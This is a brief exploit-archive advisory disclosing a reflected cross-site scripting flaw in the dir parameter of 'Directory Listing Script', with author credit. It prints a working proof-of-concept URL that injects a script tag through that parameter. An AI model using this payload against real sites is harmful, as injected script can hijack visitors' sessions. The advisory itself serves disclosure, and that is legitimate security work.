Directory Listing Script is susceptible to cross site scripting attacks.
371abccd73f8a929f6564f7eb0fd7f54bb64250d4739ec48ff5e688cb5febdf9
# Directory Listing Script Cross Site Scripting
#
# Risk: Less critical
# Class: Remote
# Script: Directory Listing Script
# Version: not define
----------------------------------------------------------------------------
Example:
http://[target]/[path]/index.php?dir=[code]
http://[target]/[path]/index.php?dir="><script>alert("lol");</script>
----------------------------------------------------------------------------
Credit
Author: Kiki
Site: http://kiki91.altervista.org
IRC Channel: irc.azzurra.org 6667 #system